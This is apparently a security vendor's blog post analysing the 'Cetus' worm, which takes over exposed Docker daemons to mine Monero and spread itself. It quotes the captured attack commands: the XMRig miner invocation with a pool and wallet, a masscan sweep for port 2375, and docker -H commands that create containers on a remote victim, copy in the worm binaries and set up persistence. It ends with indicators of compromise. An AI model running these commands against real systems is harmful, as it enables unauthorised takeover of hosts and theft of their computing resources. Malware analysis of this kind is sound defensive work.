Docker Daemon Worms Are Still Kicking Around

In this blog post, we are going to focus on one worm that was described by Palo Alto Unit42 last year, but that is still wandering around. Palo Alto identified the worm as ‘Cetus’, and it is closely related to a group called ‘TeamTNT’, which we will cover in future blog posts.

‘Cetus’ is a worm that compromises open Docker daemons with two clear goals:

  • 1. Cryptocurrency mining (XMRig), usually Monero

  • 2. Massive scanning of the Internet looking for more open Docker daemons to propagate itself.

Palo Alto did a great job describing how ‘Cetus’ works:

Cetus Life Cycle

The infection

We can easily see in the next series of events how the worm found our open Docker daemon and created the malicious container:

Requests to the Docker daemon HTTP API

  • 1. First it checks that it can connect to the daemon listing all the containers

  • 2. Then it tries to create a new container with the name ‘risible_amatorculist’

  • 3. Since the new container’s docker image is not in the system, it downloads and creates the docker image ubuntu:18.04

  • 4. Then it starts the new container

  • 5. It then copies the worm files (/usr/bin/docker-cache and /usr/bin/portainer)

  • 6. Next, it executes a command in the new container

  • 7. Finally, it restarts the container

Requests to the Docker daemon HTTP API

Monero mining

When the container restarts, it starts the crypto miner binary – XMRig – (/usr/bin/docker-cache) that starts mining Monero:

docker-cache -B --donate-level 1 -o pool.minexmr.com:443 -u 85X7JcgPpwQdZXaK2TKJb8baQAXc3zBsnW7JuY7MLi9VYSamf4bFwa7SEAK9Hgp2P53npV19w1zuaK5bft5m2NN71CmNLoh -k --tls -t 1 --rig-id risible_amatorculist -l /var/log/utmp.log

Crypto miner execution

Mass scanning

Mass scan execution

After the container is restarted, the malicious binary /usr/bin/portainer is launched and acts as an orchestrator, starting both the XMRig crypto miner and the masscan process, looking for more open Docker daemons (port 2375/tcp):

masscan 127.102.0.0/16 -p 2375 -oL - --max-rate 360 2>/dev/null

Container processes

Worm propagation

Worm propagation

Once an open Docker daemon has been found, the worm checks that it is a real Docker daemon by trying to list its containers:

timeout 60 docker -H 3.97.11.234 ps -a --no-trunc

If the operation is successful, then the worm creates a new container based on the Ubuntu 18.04 image, installs masscan and docker.io (the docker client) and copies the two malicious binaries that use docker-cache (XMRig) and portainer (the orchestrator) in /usr/bin, as can be seen from the following capture:

timeout 1800 docker -H 3.97.11.234 run -dt --name fecund_grommet --restart always ubuntu:18.04 /bin/bash
timeout 1800 docker -H 3.97.11.234 exec 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6 apt-get -yq update
timeout 1800 docker -H 3.97.11.234 exec 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6 apt-get -yq install masscan docker.io
timeout 1800 docker -H 3.97.11.234 cp -L /usr/bin/docker-cache 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6:/usr/bin/
timeout 1800 docker -H 3.97.11.234 cp -L /usr/bin/portainer 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6:/usr/bin/

Docker copy command

The worm then gains persistence in the container by adding a line to the /root/.bash_aliases file that will be executed when the container starts, and restarts the container so that the /usr/bin/portainer binary is executed:

timeout 1800 docker -H 3.97.11.234 exec 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6 bash --norc -c 'echo "/usr/bin/portainer fecund_grommet >/dev/null 2>/dev/null &" > /root/.bash_aliases
timeout 1800 docker -H 3.97.11.234 restart 2712f957e1fcff0eadef551b6cc9bb3a30eb8339c1c9b3fe44c55f56fbd9e0f6'

The orchestrator

The portainer binary is responsible for managing the entire operation: mining and mass scanning. It uses the portainer binary name in an attempt to disguise as a valid container product, Portainer.

It uses the file /var/log/stmp.log as a log file where all the results of the scanning and the work propagation can be found. For example, you can see that the worm found another open Docker daemon and was able to propagate successfully:

Orchestrator logs

One of the main characteristics of the worm is that it always chooses the name of the containers that it creates. It is always a combination of two words (adjective + noun) from the following lists:

First wordSecond word
balefulgrommet
boorishobelus
adroitagelast
fecundamatorculist
limpidperisteronic
risiblehirquiticke
verdantoxter
zealousquire

In our case the container name was ‘risible_amatorculist’ and the container name that was created when propating was ‘fecund_grommet’.

The reason for using fixed container names is that the worm can detect if the Docker daemon victim is already infected, by just checking its container names. If it is infected, then will not attempt to infect it again.

As a curiosity, we found a web page (Uncommon words quiz) that lists all the nouns but the last two (oxter and quire) and all the adjectives (Great adjectives quiz).

IOCs

NameHash SHA256
/usr/bin/portainerb49a3f3cb4c70014e2c35c880d47bc475584b87b7dfcfa6d7341d42a16ebe443 (compiled on 23/02/2020 with GCC 7.4.0 in an Ubuntu 18.0.4)
/usr/bin/docker-cachee03cf2af46ad1fe590e63f0020243c6e8ae94f074e65ace18c6d568283343dac